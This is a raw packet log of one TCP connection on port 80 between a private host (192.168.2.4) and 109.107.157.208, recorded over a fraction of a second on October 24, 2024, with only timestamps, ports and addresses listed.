Oct 24, 2024 13:27:06.873714924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873717070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873732090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873749971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873752117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873769045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873790026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873828888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874218941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874243021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874259949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874277115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874278069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874296904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874298096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874315023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874322891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874322891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874332905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874341965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874351025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874366999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874382973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874387980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874387980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874398947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874412060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874414921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874430895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874430895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874449015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874450922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874464989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874469042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874496937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874525070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.874926090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874943972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874958992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874986887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.874994040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875003099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875019073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875020981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875035048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875051022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875056028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875066996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875082970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.875148058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875148058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875190020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.875190973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876442909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876462936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876477003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876492977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876508951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876513004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876513004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876526117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876542091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876544952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876562119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876579046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876580000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876604080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876607895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876625061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876626015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876652956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876653910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876668930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876682997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876696110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876696110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876701117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876715899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876717091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876732111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876733065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876749039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876749992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876765013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876765013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876781940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876781940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876796961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876796961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876812935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876816988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876828909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876832962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876846075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876861095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876861095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876878977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876894951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876899958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876910925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.876921892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876940966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.876969099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877348900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877367020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877401114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877420902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877439022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877454996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877470970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877485991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877487898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877504110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877511024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877511024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877521038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877530098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877538919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.877549887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877568960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.877584934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989415884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989490032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989527941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989564896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989651918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989651918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989653111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989653111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989660025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989698887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989715099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989734888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989789009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989842892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989876986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989886999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989887953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989887953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989887953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989912033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989921093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.989944935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.989979982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990025043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990057945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990087986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990089893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990089893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990089893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990089893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990123987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990123987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990134001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990159988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990175009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990200043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990215063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990253925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990340948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990376949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990397930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990411997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990441084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990442038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990489006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990489006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990613937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990648031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990678072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990681887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990700006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990719080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990739107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990752935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990761995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990788937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990808964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990823984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990848064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990854979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.990890026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.990906954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991183043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991218090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991244078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991251945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991281986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991286039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991297960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991341114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991425037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991466045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991486073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991502047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991525888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991534948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991544962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991569996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991590023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991604090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991630077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991638899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991652966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991676092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991693020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991729975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.991961002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.991997004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992029905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992039919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992059946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992064953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992079020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992098093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992117882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992134094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992155075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992168903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992189884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992206097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992223978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992242098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992264032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992275000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992301941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992310047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992330074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992345095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992367029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992379904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992409945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992429972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992784977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992844105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992847919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992897987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992902040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992932081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992952108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.992966890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.992990017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993000984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993024111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993035078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993052006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993072033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993093014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993107080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993134022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993143082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993155956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993177891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993202925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993211985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993237019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993247986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993264914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993303061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993813992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993848085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993875980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993882895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993892908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993916988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993936062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993951082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.993973970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.993985891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994009018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994019985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994038105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994055033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994076967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994088888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994119883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994122982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994144917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994157076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994178057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994193077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994215012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994225979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994247913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994266033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994282961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994321108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994764090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994800091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994826078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994832993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994843006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994868994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994885921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994903088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994924068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994936943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994962931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.994971991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.994985104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995007038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995028973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995039940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995066881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995074987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995090008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995109081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995129108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995143890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995166063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995177984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995204926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995212078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995229006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995268106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995598078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995654106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995657921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995683908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995712996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995718956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995754004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995774031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995774984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995790958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995803118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995826960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995845079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995861053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995882988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995896101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995906115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995929956 CEST	80	49730	109.107.157.208	192.168.2.4
